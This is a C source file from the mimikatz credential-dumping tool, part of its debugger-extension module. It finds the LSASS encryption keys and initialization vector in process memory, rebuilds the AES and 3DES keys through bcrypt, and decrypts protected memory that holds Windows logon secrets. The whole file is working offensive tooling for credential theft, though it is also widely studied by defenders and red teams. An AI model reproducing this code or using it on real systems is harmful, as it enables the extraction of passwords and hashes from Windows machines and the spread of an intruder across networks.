mimikatz/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.c

176 lines
6.5 KiB
C

/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "kuhl_m_sekurlsa_nt6.h"
NTSTATUS kuhl_m_sekurlsa_nt6_KeyInit = STATUS_NOT_FOUND;
HMODULE kuhl_m_sekurlsa_nt6_hBCrypt = NULL;
PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = NULL;
PBCRYPT_SET_PROPERTY K_BCryptSetProperty = NULL;
PBCRYPT_GET_PROPERTY K_BCryptGetProperty = NULL;
PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = NULL;
PBCRYPT_ENCRYPT K_BCryptEncrypt = NULL, K_BCryptDecrypt = NULL;
PBCRYPT_DESTROY_KEY K_BCryptDestroyKey = NULL;
PBCRYPT_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = NULL;
KIWI_BCRYPT_GEN_KEY k3Des, kAes;
BYTE InitializationVector[16];
NTSTATUS kuhl_m_sekurlsa_nt6_init()
{
if(!NT_SUCCESS(kuhl_m_sekurlsa_nt6_KeyInit))
{
if(!kuhl_m_sekurlsa_nt6_hBCrypt)
{
if(kuhl_m_sekurlsa_nt6_hBCrypt = LoadLibrary(L"bcrypt"))
{
K_BCryptOpenAlgorithmProvider = (PBCRYPT_OPEN_ALGORITHM_PROVIDER) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptOpenAlgorithmProvider");
K_BCryptSetProperty = (PBCRYPT_SET_PROPERTY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptSetProperty");
K_BCryptGetProperty = (PBCRYPT_GET_PROPERTY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptGetProperty");
K_BCryptGenerateSymmetricKey = (PBCRYPT_GENERATE_SYMMETRIC_KEY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptGenerateSymmetricKey");
K_BCryptEncrypt = (PBCRYPT_ENCRYPT) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptEncrypt");
K_BCryptDecrypt = (PBCRYPT_ENCRYPT) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptDecrypt");
K_BCryptDestroyKey = (PBCRYPT_DESTROY_KEY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptDestroyKey");
K_BCryptCloseAlgorithmProvider = (PBCRYPT_CLOSE_ALGORITHM_PROVIDER) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptCloseAlgorithmProvider");
}
}
if(kuhl_m_sekurlsa_nt6_hBCrypt && K_BCryptOpenAlgorithmProvider && K_BCryptSetProperty && K_BCryptGetProperty && K_BCryptGenerateSymmetricKey && K_BCryptEncrypt && K_BCryptDecrypt && K_BCryptDestroyKey && K_BCryptCloseAlgorithmProvider)
kuhl_m_sekurlsa_nt6_KeyInit = kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory();
}
return kuhl_m_sekurlsa_nt6_KeyInit;
}
NTSTATUS kuhl_m_sekurlsa_nt6_clean()
{
if(NT_SUCCESS(kuhl_m_sekurlsa_nt6_KeyInit))
kuhl_m_sekurlsa_nt6_LsaCleanupProtectedMemory();
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory()
{
NTSTATUS status;
ULONG dwSizeNeeded;
status = K_BCryptOpenAlgorithmProvider(&k3Des.hProvider, BCRYPT_3DES_ALGORITHM, NULL, 0);
if(NT_SUCCESS(status))
{
status = K_BCryptSetProperty(k3Des.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
if(NT_SUCCESS(status))
{
status = K_BCryptGetProperty(k3Des.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &k3Des.cbKey, sizeof(k3Des.cbKey), &dwSizeNeeded, 0);
if(NT_SUCCESS(status))
k3Des.pKey = (PBYTE) LocalAlloc(LPTR, k3Des.cbKey);
}
}
if(NT_SUCCESS(status))
{
status = K_BCryptOpenAlgorithmProvider(&kAes.hProvider, BCRYPT_AES_ALGORITHM, NULL, 0);
if(NT_SUCCESS(status))
{
status = K_BCryptSetProperty(kAes.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0);
if(NT_SUCCESS(status))
{
status = K_BCryptGetProperty(kAes.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &kAes.cbKey, sizeof(kAes.cbKey), &dwSizeNeeded, 0);
if(NT_SUCCESS(status))
kAes.pKey = (PBYTE) LocalAlloc(LPTR, kAes.cbKey);
}
}
}
return status;
}
VOID kuhl_m_sekurlsa_nt6_LsaCleanupProtectedMemory()
{
if (k3Des.hProvider)
K_BCryptCloseAlgorithmProvider(k3Des.hProvider, 0);
if (k3Des.hKey)
K_BCryptDestroyKey(k3Des.hKey);
LocalFree(k3Des.pKey);
if (kAes.hProvider)
K_BCryptCloseAlgorithmProvider(kAes.hProvider, 0);
if (kAes.hKey)
K_BCryptDestroyKey(kAes.hKey);
LocalFree(kAes.pKey);
kuhl_m_sekurlsa_nt6_KeyInit = STATUS_NOT_FOUND;
}
VOID WINAPI kuhl_m_sekurlsa_nt6_LsaUnprotectMemory (IN PVOID Buffer, IN ULONG BufferSize)
{
BCRYPT_KEY_HANDLE *hKey;
BYTE LocalInitializationVector[16];
ULONG cbIV, cbResult;
RtlCopyMemory(LocalInitializationVector, InitializationVector, sizeof(InitializationVector));
if (BufferSize % 8)
{
hKey = &kAes.hKey;
cbIV = sizeof(InitializationVector);
}
else
{
hKey = &k3Des.hKey;
cbIV = sizeof(InitializationVector) / 2;
}
K_BCryptDecrypt(*hKey, (PUCHAR) Buffer, BufferSize, 0, LocalInitializationVector, cbIV, (PUCHAR) Buffer, BufferSize, &cbResult, 0);
}
NTSTATUS kuhl_m_sekurlsa_nt6_acquireKeys(ULONG_PTR pInitializationVector, ULONG_PTR phAesKey, ULONG_PTR ph3DesKey)
{
NTSTATUS status = STATUS_NOT_FOUND;
if(ReadMemory(pInitializationVector, InitializationVector, sizeof(InitializationVector), NULL))
if(kuhl_m_sekurlsa_nt6_acquireKey(ph3DesKey, &k3Des) && kuhl_m_sekurlsa_nt6_acquireKey(phAesKey, &kAes))
status = STATUS_SUCCESS;
return status;
}
BOOL kuhl_m_sekurlsa_nt6_acquireKey(ULONG_PTR phKey, PKIWI_BCRYPT_GEN_KEY pGenKey)
{
BOOL status = FALSE;
KIWI_BCRYPT_HANDLE_KEY hKey; PKIWI_HARD_KEY pHardKey;
PVOID ptr, buffer, bufferHardKey;
ULONG taille; LONG offset;
if(NtBuildNumber < 8000)
{
taille = sizeof(KIWI_BCRYPT_KEY);
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY, hardkey);
}
else if(NtBuildNumber < 9400)
{
taille = sizeof(KIWI_BCRYPT_KEY8);
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY8, hardkey);
}
else
{
taille = sizeof(KIWI_BCRYPT_KEY81);
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY81, hardkey);
}
if(buffer = LocalAlloc(LPTR, taille))
{
if(ReadMemory(phKey, &ptr, sizeof(PVOID), NULL))
{
if(ReadMemory((ULONG_PTR) ptr, &hKey, sizeof(KIWI_BCRYPT_HANDLE_KEY), NULL) && hKey.tag == 'UUUR')
{
if(ReadMemory((ULONG_PTR) hKey.key, buffer, taille, NULL) && ((PKIWI_BCRYPT_KEY) buffer)->tag == 'MSSK') // same as 8
{
pHardKey = (PKIWI_HARD_KEY) ((PBYTE) buffer + offset);
if(bufferHardKey = LocalAlloc(LPTR, pHardKey->cbSecret))
{
if(ReadMemory((ULONG_PTR) hKey.key + offset + FIELD_OFFSET(KIWI_HARD_KEY, data), bufferHardKey, pHardKey->cbSecret, NULL))
status = NT_SUCCESS(K_BCryptGenerateSymmetricKey(pGenKey->hProvider, &pGenKey->hKey, pGenKey->pKey, pGenKey->cbKey, (PUCHAR) bufferHardKey, pHardKey->cbSecret, 0));
LocalFree(bufferHardKey);
}
}
}
}
LocalFree(buffer);
}
return status;
}